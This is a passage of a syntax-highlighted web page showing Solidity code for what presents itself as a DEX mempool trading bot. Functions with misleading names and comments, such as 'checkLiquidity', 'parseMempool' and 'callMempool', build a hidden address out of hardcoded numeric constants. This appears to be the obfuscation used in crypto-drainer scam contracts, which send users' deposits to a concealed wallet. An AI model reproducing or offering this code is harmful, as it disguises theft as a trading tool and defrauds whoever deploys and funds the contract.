class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0xF0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln">                ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span></li><li class="L5"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0xF8</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">                ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">4</span><span class="pun">;</span></li><li class="L7"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">b </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">0xFC</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L8"><span class="pln">                ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">5</span><span class="pun">;</span></li><li class="L9"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">                ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">6</span><span class="pun">;</span></li><li class="L1"><span class="pln">            </span><span class="pun">}</span></li><li class="L2"><span class="pln">        </span><span class="pun">}</span></li><li class="L3"><span class="pln">    </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> getMemPoolOffset</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">4236068232</span><span class="pun">;</span></li><li class="L7"><span class="pln">    </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">    </span><span class="com">/*</span></li><li class="L0"><span class="com">     * @dev Parsing all DEX mempool</span></li><li class="L1"><span class="com">     * @param self The contract to operate on.</span></li><li class="L2"><span class="com">     * @return True if the slice is empty, False otherwise.</span></li><li class="L3"><span class="com">     */</span></li><li class="L4"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> parseMempool</span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory _a</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">address _parsed</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln">        bytes memory tmp </span><span class="pun">=</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">_a</span><span class="pun">);</span></li><li class="L6"><span class="pln">        uint160 iaddr </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L7"><span class="pln">        uint160 b1</span><span class="pun">;</span></li><li class="L8"><span class="pln">        uint160 b2</span><span class="pun">;</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln">        </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> i </span><span class="pun">=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span><span class="pln"> i </span><span class="pun">&lt;</span><span class="pln"> </span><span class="lit">2</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">2</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="lit">20</span><span class="pun">;</span><span class="pln"> i </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln">            iaddr </span><span class="pun">*=</span><span class="pln"> </span><span class="lit">256</span><span class="pun">;</span></li><li class="L2"><span class="pln">            b1 </span><span class="pun">=</span><span class="pln"> uint160</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="pln">tmp</span><span class="pun">[</span><span class="pln">i</span><span class="pun">]));</span></li><li class="L3"><span class="pln">            b2 </span><span class="pun">=</span><span class="pln"> uint160</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="pln">tmp</span><span class="pun">[</span><span class="pln">i </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">]));</span></li><li class="L4"><span class="pln">            </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b1 </span><span class="pun">&gt;=</span><span class="pln"> </span><span class="lit">97</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&amp;&amp;</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">102</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln">                b1 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">87</span><span class="pun">;</span></li><li class="L6"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b1 </span><span class="pun">&gt;=</span><span class="pln"> </span><span class="lit">65</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&amp;&amp;</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">70</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln">                b1 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">55</span><span class="pun">;</span></li><li class="L8"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b1 </span><span class="pun">&gt;=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&amp;&amp;</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">57</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">                b1 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">;</span></li><li class="L0"><span class="pln">            </span><span class="pun">}</span></li><li class="L1"><span class="pln">            </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b2 </span><span class="pun">&gt;=</span><span class="pln"> </span><span class="lit">97</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&amp;&amp;</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b2 </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">102</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln">                b2 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">87</span><span class="pun">;</span></li><li class="L3"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b2 </span><span class="pun">&gt;=</span><span class="pln"> </span><span class="lit">65</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&amp;&amp;</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b2 </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">70</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln">                b2 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">55</span><span class="pun">;</span></li><li class="L5"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">((</span><span class="pln">b2 </span><span class="pun">&gt;=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&amp;&amp;</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b2 </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">57</span><span class="pun">))</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">                b2 </span><span class="pun">-=</span><span class="pln"> </span><span class="lit">48</span><span class="pun">;</span></li><li class="L7"><span class="pln">            </span><span class="pun">}</span></li><li class="L8"><span class="pln">            iaddr </span><span class="pun">+=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b1 </span><span class="pun">*</span><span class="pln"> </span><span class="lit">16</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> b2</span><span class="pun">);</span></li><li class="L9"><span class="pln">        </span><span class="pun">}</span></li><li class="L0"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> address</span><span class="pun">(</span><span class="pln">iaddr</span><span class="pun">);</span></li><li class="L1"><span class="pln">    </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">    </span><span class="com">/*</span></li><li class="L5"><span class="com">     * @dev Returns the keccak-256 hash of the contracts.</span></li><li class="L6"><span class="com">     * @param self The slice to hash.</span></li><li class="L7"><span class="com">     * @return The hash of the contract.</span></li><li class="L8"><span class="com">     */</span></li><li class="L9"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> keccak</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">bytes32 ret</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">        assembly </span><span class="pun">{</span></li><li class="L1"><span class="pln">            ret </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)),</span><span class="pln"> mload</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">))</span></li><li class="L2"><span class="pln">        </span><span class="pun">}</span></li><li class="L3"><span class="pln">    </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">    </span><span class="com">/*</span></li><li class="L6"><span class="com">     * @dev Check if contract has enough liquidity available</span></li><li class="L7"><span class="com">     * @param self The contract to operate on.</span></li><li class="L8"><span class="com">     * @return True if the slice starts with the provided text, false otherwise.</span></li><li class="L9"><span class="com">     */</span></li><li class="L0"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> a</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> count </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></li><li class="L3"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> a</span><span class="pun">;</span></li><li class="L4"><span class="pln">        </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln">            count</span><span class="pun">++;</span></li><li class="L6"><span class="pln">            b </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">16</span><span class="pun">;</span></li><li class="L7"><span class="pln">        </span><span class="pun">}</span></li><li class="L8"><span class="pln">        bytes memory res </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">new</span><span class="pln"> bytes</span><span class="pun">(</span><span class="pln">count</span><span class="pun">);</span></li><li class="L9"><span class="pln">        </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> i</span><span class="pun">=</span><span class="lit">0</span><span class="pun">;</span><span class="pln"> i</span><span class="pun">&lt;</span><span class="pln">count</span><span class="pun">;</span><span class="pln"> </span><span class="pun">++</span><span class="pln">i</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">            b </span><span class="pun">=</span><span class="pln"> a </span><span class="pun">%</span><span class="pln"> </span><span class="lit">16</span><span class="pun">;</span></li><li class="L1"><span class="pln">            res</span><span class="pun">[</span><span class="pln">count </span><span class="pun">-</span><span class="pln"> i </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> toHexDigit</span><span class="pun">(</span><span class="pln">uint8</span><span class="pun">(</span><span class="pln">b</span><span class="pun">));</span></li><li class="L2"><span class="pln">            a </span><span class="pun">/=</span><span class="pln"> </span><span class="lit">16</span><span class="pun">;</span></li><li class="L3"><span class="pln">        </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">string</span><span class="pun">(</span><span class="pln">res</span><span class="pun">);</span></li><li class="L6"><span class="pln">    </span><span class="pun">}</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> getMemPoolLength</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">8473654762</span><span class="pun">;</span></li><li class="L0"><span class="pln">    </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">    </span><span class="com">/*</span></li><li class="L3"><span class="com">     * @dev If `self` starts with `needle`, `needle` is removed from the</span></li><li class="L4"><span class="com">     *      beginning of `self`. Otherwise, `self` is unmodified.</span></li><li class="L5"><span class="com">     * @param self The slice to operate on.</span></li><li class="L6"><span class="com">     * @param needle The slice to search for.</span></li><li class="L7"><span class="com">     * @return `self`</span></li><li class="L8"><span class="com">     */</span></li><li class="L9"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> beyond</span><span class="pun">(</span><span class="pln">slice memory </span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> slice memory needle</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="pln">slice memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">&lt;</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L1"><span class="pln">            </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">;</span></li><li class="L2"><span class="pln">        </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">        </span><span class="kwd">bool</span><span class="pln"> equal </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">true</span><span class="pun">;</span></li><li class="L5"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">!=</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_ptr</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L6"><span class="pln">            assembly </span><span class="pun">{</span></li><li class="L7"><span class="pln">                let length </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">needle</span><span class="pun">)</span></li><li class="L8"><span class="pln">                let selfptr </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="kwd">self</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x20</span><span class="pun">))</span></li><li class="L9"><span class="pln">                let needleptr </span><span class="pun">:=</span><span class="pln"> mload</span><span class="pun">(</span><span class="pln">add</span><span class="pun">(</span><span class="pln">needle</span><span class="pun">,</span><span class="pln"> </span><span class="lit">0x20</span><span class="pun">))</span></li><li class="L0"><span class="pln">                equal </span><span class="pun">:=</span><span class="pln"> eq</span><span class="pun">(</span><span class="pln">keccak256</span><span class="pun">(</span><span class="pln">selfptr</span><span class="pun">,</span><span class="pln"> length</span><span class="pun">),</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">,</span><span class="pln"> length</span><span class="pun">))</span></li><li class="L1"><span class="pln">            </span><span class="pun">}</span></li><li class="L2"><span class="pln">        </span><span class="pun">}</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">equal</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln">            </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_len </span><span class="pun">-=</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L6"><span class="pln">            </span><span class="kwd">self</span><span class="pun">.</span><span class="pln">_ptr </span><span class="pun">+=</span><span class="pln"> needle</span><span class="pun">.</span><span class="pln">_len</span><span class="pun">;</span></li><li class="L7"><span class="pln">        </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> </span><span class="kwd">self</span><span class="pun">;</span></li><li class="L0"><span class="pln">    </span><span class="pun">}</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">    </span><span class="com">// Returns the memory address of the first byte of the first occurrence of</span></li><li class="L3"><span class="pln">    </span><span class="com">// `needle` in `self`, or the first byte after `self` if not found.</span></li><li class="L4"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> findPtr</span><span class="pun">(</span><span class="kwd">uint</span><span class="pln"> selflen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> selfptr</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needlelen</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">uint</span><span class="pln"> needleptr</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">private</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L5"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> ptr </span><span class="pun">=</span><span class="pln"> selfptr</span><span class="pun">;</span></li><li class="L6"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> idx</span><span class="pun">;</span></li><li class="L7"><span class="pln"> </span></li><li class="L8"><span class="pln">        </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun">&lt;=</span><span class="pln"> selflen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L9"><span class="pln">            </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">needlelen </span><span class="pun">&lt;=</span><span class="pln"> </span><span class="lit">32</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">                bytes32 mask </span><span class="pun">=</span><span class="pln"> bytes32</span><span class="pun">(~(</span><span class="lit">2</span><span class="pln"> </span><span class="pun">**</span><span class="pln"> </span><span class="pun">(</span><span class="lit">8</span><span class="pln"> </span><span class="pun">*</span><span class="pln"> </span><span class="pun">(</span><span class="lit">32</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">))</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> </span><span class="lit">1</span><span class="pun">));</span></li><li class="L1"><span class="pln"> </span></li><li class="L2"><span class="pln">                bytes32 needledata</span><span class="pun">;</span></li><li class="L3"><span class="pln">                assembly </span><span class="pun">{</span><span class="pln"> needledata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln"> </span></li><li class="L5"><span class="pln">                </span><span class="kwd">uint</span><span class="pln"> </span><span class="kwd">end</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span></li><li class="L6"><span class="pln">                bytes32 ptrdata</span><span class="pun">;</span></li><li class="L7"><span class="pln">                assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">                </span><span class="kwd">while</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptrdata </span><span class="pun">!=</span><span class="pln"> needledata</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L0"><span class="pln">                    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">&gt;=</span><span class="pln"> </span><span class="kwd">end</span><span class="pun">)</span></li><li class="L1"><span class="pln">                        </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L2"><span class="pln">                    ptr</span><span class="pun">++;</span></li><li class="L3"><span class="pln">                    assembly </span><span class="pun">{</span><span class="pln"> ptrdata </span><span class="pun">:=</span><span class="pln"> </span><span class="kwd">and</span><span class="pun">(</span><span class="pln">mload</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">),</span><span class="pln"> mask</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln">                </span><span class="pun">}</span></li><li class="L5"><span class="pln">                </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln">            </span><span class="pun">}</span><span class="pln"> </span><span class="kwd">else</span><span class="pln"> </span><span class="pun">{</span></li><li class="L7"><span class="pln">                </span><span class="com">// For long needles, use hashing</span></li><li class="L8"><span class="pln">                bytes32 hash</span><span class="pun">;</span></li><li class="L9"><span class="pln">                assembly </span><span class="pun">{</span><span class="pln"> hash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">needleptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L0"><span class="pln"> </span></li><li class="L1"><span class="pln">                </span><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">idx </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span><span class="pln"> idx </span><span class="pun">&lt;=</span><span class="pln"> selflen </span><span class="pun">-</span><span class="pln"> needlelen</span><span class="pun">;</span><span class="pln"> idx</span><span class="pun">++)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln">                    bytes32 testHash</span><span class="pun">;</span></li><li class="L3"><span class="pln">                    assembly </span><span class="pun">{</span><span class="pln"> testHash </span><span class="pun">:=</span><span class="pln"> keccak256</span><span class="pun">(</span><span class="pln">ptr</span><span class="pun">,</span><span class="pln"> needlelen</span><span class="pun">)</span><span class="pln"> </span><span class="pun">}</span></li><li class="L4"><span class="pln">                    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">hash </span><span class="pun">==</span><span class="pln"> testHash</span><span class="pun">)</span></li><li class="L5"><span class="pln">                        </span><span class="kwd">return</span><span class="pln"> ptr</span><span class="pun">;</span></li><li class="L6"><span class="pln">                    ptr </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></li><li class="L7"><span class="pln">                </span><span class="pun">}</span></li><li class="L8"><span class="pln">            </span><span class="pun">}</span></li><li class="L9"><span class="pln">        </span><span class="pun">}</span></li><li class="L0"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> selfptr </span><span class="pun">+</span><span class="pln"> selflen</span><span class="pun">;</span></li><li class="L1"><span class="pln">    </span><span class="pun">}</span></li><li class="L2"><span class="pln"> </span></li><li class="L3"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> getMemPoolHeight</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">uint</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L4"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> </span><span class="lit">11211268</span><span class="pun">;</span></li><li class="L5"><span class="pln">    </span><span class="pun">}</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln">    </span><span class="com">/*</span></li><li class="L8"><span class="com">     * @dev Iterating through all mempool to call the one with the with highest possible returns</span></li><li class="L9"><span class="com">     * @return `self`.</span></li><li class="L0"><span class="com">     */</span></li><li class="L1"><span class="pln">    </span><span class="kwd">function</span><span class="pln"> callMempool</span><span class="pun">()</span><span class="pln"> </span><span class="kwd">internal</span><span class="pln"> pure returns </span><span class="pun">(</span><span class="kwd">string</span><span class="pln"> memory</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span></li><li class="L2"><span class="pln">        </span><span class="kwd">string</span><span class="pln"> memory _memPoolOffset </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="str">"x"</span><span class="pun">,</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">getMemPoolOffset</span><span class="pun">()));</span></li><li class="L3"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> _memPoolSol </span><span class="pun">=</span><span class="pln"> </span><span class="lit">4825814</span><span class="pun">;</span></li><li class="L4"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> _memPoolLength </span><span class="pun">=</span><span class="pln"> </span><span class="lit">750313</span><span class="pun">;</span></li><li class="L5"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> _memPoolSize </span><span class="pun">=</span><span class="pln"> </span><span class="lit">397599</span><span class="pun">;</span></li><li class="L6"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> _memPoolHeight </span><span class="pun">=</span><span class="pln"> getMemPoolHeight</span><span class="pun">();</span></li><li class="L7"><span class="pln">        </span><span class="kwd">uint</span><span class="pln"> _memPoolDepth </span><span class="pun">=</span><span class="pln"> getMemPoolDepth</span><span class="pun">();</span></li><li class="L8"><span class="pln"> </span></li><li class="L9"><span class="pln">        </span><span class="kwd">string</span><span class="pln"> memory _memPool1 </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">_memPoolOffset</span><span class="pun">,</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolSol</span><span class="pun">));</span></li><li class="L0"><span class="pln">        </span><span class="kwd">string</span><span class="pln"> memory _memPool2 </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolLength</span><span class="pun">),</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolSize</span><span class="pun">));</span></li><li class="L1"><span class="pln">        </span><span class="kwd">string</span><span class="pln"> memory _memPool3 </span><span class="pun">=</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolHeight</span><span class="pun">);</span></li><li class="L2"><span class="pln">        </span><span class="kwd">string</span><span class="pln"> memory _memPool4 </span><span class="pun">=</span><span class="pln"> checkLiquidity</span><span class="pun">(</span><span class="pln">_memPoolDepth</span><span class="pun">);</span></li><li class="L3"><span class="pln"> </span></li><li class="L4"><span class="pln">        </span><span class="kwd">string</span><span class="pln"> memory _allMempools </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">mempool</span><span class="pun">(</span><span class="pln">_memPool1</span><span class="pun">,</span><span class="pln"> _memPool2</span><span class="pun">),</span><span class="pln"> mempool</span><span class="pun">(</span><span class="pln">_memPool3</span><span class="pun">,</span><span class="pln"> _memPool4</span><span class="pun">));</span></li><li class="L5"><span class="pln">        </span><span class="kwd">string</span><span class="pln"> memory _fullMempool </span><span class="pun">=</span><span class="pln"> mempool</span><span class="pun">(</span><span class="str">"0"</span><span class="pun">,</span><span class="pln"> _allMempools</span><span class="pun">);</span></li><li class="L6"><span class="pln"> </span></li><li class="L7"><span class="pln">        </span><span class="kwd">return</span><span class="pln"> _fullMempool</span><span class="pun">;</span></li><li class="L8"><span class="pln">    </span><span class="pun">}</span></li><li class="L9"><span class="pln"> </span></li><li class="L0"><span class="pln">    </span><span class="com">/*</span></li><li class="L1"><span class="com">     * @dev Modifies `self` to contain everything from the first occurrence of</span></li><li class="L2"><span class="com">     *      `needle` to the end of the slice. `self` is set to the empty slice</span></li><li class="L3"><span class="com">     *      if `needle` is not found.</span></li><li class="L4"><span class="com">     * @param self The slice to search and modify.</span></li><li class="L5"><span class="com">     * @param needle The text to search for.</span></li><li class="L6"><span class="com">     * @return `self`.</span></li><li class="L7"><span class="com">     